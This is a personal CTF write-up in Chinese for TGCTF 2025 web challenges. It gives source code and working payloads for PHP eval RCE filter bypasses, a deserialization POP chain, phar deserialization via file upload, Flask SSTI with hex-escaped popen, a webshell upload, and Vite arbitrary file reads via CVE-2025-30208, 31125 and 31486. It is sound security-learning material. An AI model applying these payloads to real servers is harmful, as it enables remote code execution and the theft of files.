TGCTF 2025个人WP
AAA偷渡阴平
源码
<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
简单的无参rce
payload:
?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /f*');
什么文件上传?
查看源代码提示robots,访问robots.txt发现class.php,是个反序列化
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
构造链子
//future->today->yesterday
$a = new yesterday();
$a -> study = new today();
$a -> study -> doing = new future();//直接将today中的doing赋为new future()能够触发__toString()是因为php在计算MD5前会将对象转换为字符串,从而触发__toString()
$payload = serialize($a);
for ($i = 0; $i < 5; $i++) {
$payload = base64_encode($payload);
}
$payload .= 'abcd';
echo "Payload: " . urlencode($payload) . "\n";
payload
?filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBod1ZWWkdjRkZXYTJNMVkwWnNjbHBHWkdoU01EVXdWR3RTYjFkdFNuSmhNMHBVVmpOQmQxcFhjelZqVmxwVlYydHdhV0Y2VWpOWGExcHJWVEExVm1KSVJtdFNhMHBSV1ZkNFZrMXNUbGhPVms1cllraENTVlZ0Y0ZkVGJVWjBUMVJhVlUxcVZYZGFWM00xWTFaYVZWZHJjR2xXYTI5NVYxWmFhazFYU25KaVNFWnJVbXRLVVZsWGVISk5iRTVZVFZkR1RsWXhTa3BXYlRWeldWWlZkMkY2U2xWV00wSlBWRzB4Vm1Wc1VsVlhhelZYVWxWVmVWVXhZM2hqTWxKSVZHdG9VRmRJUW5GVVZ6RTBZMFpzY2xwR1dtaFdWR2cyVmtaU1lWUnRSbk5XVkVwVVZqTlNkbHBITVZOT1ZrWjBZMFp3VjJWc1NuVlhiRnBxVGxVeFZtSkZhR0ZTTTJoeVZWUkNTMlJzWkhOaFJYUnBVbXRKTWxwVlpITmhiVVp4Vlc1Q1ZXVnJOVTlVYlhONFRtMUplV0pIYkU1TlZtd3pWVEZrZDAxR1VYZFBTSEJWVmtad1QxbFhNRFZqUm14MFRVUlNhRlpVYUROVWExSnJZVzFXZEU5SWNGVk5iWGhNVkZaa1RtVldXblJOVjNSWFRUSlJNRlV4WkhkTlJsRjNUMGh3VlZaR2NGQmFWekExWTBad1IyRkZPV2xTYmtJeFZtMDFUMVJ0UmxaaGVrNVhVak5CZDFwWGN6VmpWbXcyVjJ0d2FXSkdiekpXTW5ocldWVXhXRk5yVmxWV01uaFJWRlZTVWsweGEzcGpTRnBPVFVSc2QxVXljRWRoYXpGelYyNVNZVkp0VVhwVVZWWnpZMWRTUms5V1FrNU5SRUY1VmtjMWQyUnRSbGhWYkd4VllsaG9hRmx0ZUdGbGJGSnpWR3R3VDAxV1NuaGFSV2gzVlVkR2RGUlVTbFJXZWxaWVdsZDRkMWRHWkhGU2JXeFRVbTE0ZDFaSWNFSk5SVFI1VkdwYWFXVnJOVkZaVmxaMlpVWnNObE5zWkdsV01VcFpXa2h3VDFOdFJuVlZiRUpWWldzMVQxUnRjekZPYlVsNVlrZDBXRkpVVm5wV01qQXhWakpOZDA5VlVsUldSMUpXV1ZjMVUwNXNVWGxqUjNCUFlUSjRNVlp0TlhkWlZsbDRZak5vV21FeFNubFpWbFUwWkRBMVJWcEhjR3hpVkdkM1ZrUktjMU13TVZoVVdHeFhZbFJHY2xacVRtdE9SbEpXVkd0d1QwMVdTbmhhUldoM1ZVZEdkRmw2U2xSV2VsWllXbGQ0ZDFkR1pIRlNiV3hUVWxaWk1GVXhaSGROUmxGM1QwaHdWVlpHY0ZGVmEyTTFZMFp3UjJGRk9XbFNia0l4Vm0wMVQxUnNXa1ppU0VKVlpXdEZkMVJxU2s5T2JVbzJWV3hDYUZaWE9UUlhXSEJMVmpKS1dGVnNhR3ROTW1oUFdsWldjazB4V2toalJFSnNZWHBzZUZkdWNHRlRiVXB6VjJwYVdHSkhVbWhVVm1STFVsWktWVkZyY0doaWJFcFJWa2h3VDFSck5YSlBWVlpwVFcxNGNsWXdWVEZqTVdSMFRsWmthazFFUmxaV2JHUnpWVVV4UlZWVVRscE5NMEl5Vkd0Vk5XTkdUbkZTYlhCT1lrWndNRmRyV210Tk1sWkdUbGhDVkZaSFVsWlpWelZUVG14UmVXTkhOVTloTW5neFZtMDFkMWxXV1hoaU0yaGFZVEZLUjFSVVFuTmpWMUpHVDFaQ1RrMUVRWGxXUkVKVFpHMUdXRlZzYkZWaVdHaG9XVzE0WVdWc1VsZFZiVFZvVmxSb00xUnJVbXRoYlZaMFQwUkNWVTF0ZUV4VVZtUk9aVlphZEUxWGRGZE5NbEV3VmtSR1QxTnJOSGhWYmtaclUwaENVVmxYTVdwTmJFNVlUbFprYkdKSVFsbFdNbkJIWVZaS1JtSkVUbFJXTTBGM1ZrUkJOR1ZyTVZsalJrSm9ZWHBCZVZVeFkzaFZNazVIWTBWU1ZGWkhVbkZhVnpBMVRteFJlRlZ1V21oV2JHdzFXVlZrYjJFeFJYZFRWRVphWVdzMVYxZHFSbmRUUjBwSVpFVndVMlZyV25aWFZsSkxWakpXY21KRmJHbFRSbkJ5VmxSQ1MwMXNjRWRoUms1c1lsWktTVlZ0TlZkWlZrbDVaVVJHV0dKdGMzZFVNRnB6WkZaT1ZHUkZjR2hpYkVreVZrUktkMVZyTlhKaVNGSldZbXh3Y0Zsc1dsZGpSbEkyVVZSQ1QwMXNjRnBXUmxKaFZHMVdkRTlZUW1GU1YyaE1WR3hXYzJOWFVrWlBWa0pPWld0Rk5RPT0%3Dabcd
POST:wow=cat /f*
什么文件上传?(复仇)
依然class.php
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
这里把直接反序列化给ban了,不过能进行文件上传,还有个file_exists,因此可以进行phar反序列化,robots.txt提示文件上传后缀是三位小写字母,直接爆破得到是atg,接下来写一个phar文件
<?php
class yesterday {}
class today {
public $doing;
}
class future{}
$a = new yesterday();
$a-> study = new today();
$a->study->doing=new future();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
运行得到phar.phar,改后缀上传然后用phar伪协议打即可
payload
?filename=phar://uploads/phar.atg
POST:wow=cat /f*
前端GAME
进调试器搜flag找到flag位置,网页标题是Vue3 Game With Vite,根据CVE-2025-30208得到poc
payload
/@fs/tgflagggg?import&?inline=1.wasm?init
前端GAME Plus
从CVE-2025-30208换成了CVE-2025-31125,找31125的poc读取即可
payload
/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init
直面天命
看网页源代码发现/hint,提示四位小写字母组成的路由,提示给的aazz,访问源代码提示可以传参,爆破出变量名是filename
payload
/aazz?filename=/flag
直面天命(复仇)
访问/aazz得到源码
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
再去西行历练历练
Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?
Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
明显的sst,ban掉了常用的魔术方法,最后将"天命"换为"{{","难违"换为"}}",用编码绕过即可
payload
天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /tgffff11111aaaagggggggg')["\x72\x65\x61\x64"]()难违
(ez)upload
扫到/upload.php.bak拿到源码绕过检测传马

访问/uploads/aaa.php执行命令即可
payload
/uploads/aaa.php
POST:a=system('env');
火眼辩魑魅
提示robots,访问得
User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php
payload
/tgshell.php
POST:shell=echo `cat /tgfffffllllaagggggg`;
下面的都是当时没打出来的
AAA偷渡阴平(复仇)
源码
<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
把很多无参rce用的函数都给ban了,数字2没有ban掉,session相关也没有ban。
session解
payload:
?tgctf2025=session_start();system(hex2bin(session_id()));
Cookie: PHPSESSID=636174202f662a//将要执行的命令hex编码,因为PHPSESSID中不能有括号
hint:这里session_start()不能和session_id()放到一起变成system(hex2bin(session_id(session_start())));,因为session_start()执行后返回的是True或者False,这样session_id()会尝试将session_start()的返回值(非字符串)作为新会话id设置,但此时会话已激活,修改会话id违反PHP规则导致报错Cannot change session id when session is active
当时做的时候没解出来就是因为把session_start()不能和session_id()放一块了,另一个解也没想到
apache_request_headers()解
apache_request_headers()和getallheaders()作用相同,没有被ban掉
payload:
?tgctf2025=system(hex2bin(lcfirst(key(apache_request_headers()))));
636174202f662a:aa
hint:这里apache_request_headers()是下往上读的
前端GAME Ultra
从给的附件发现vite版本是6.2.5,漏洞换成了CVE-2025-31486,当时做的时候找了好久也没找到poc,比赛结束了才开窍,这个版本的漏洞没法从浏览器读,去burp或者用curl就行
payload
/@fs/app/#/../../../../tgflagggg

浙公网安备 33010602011771号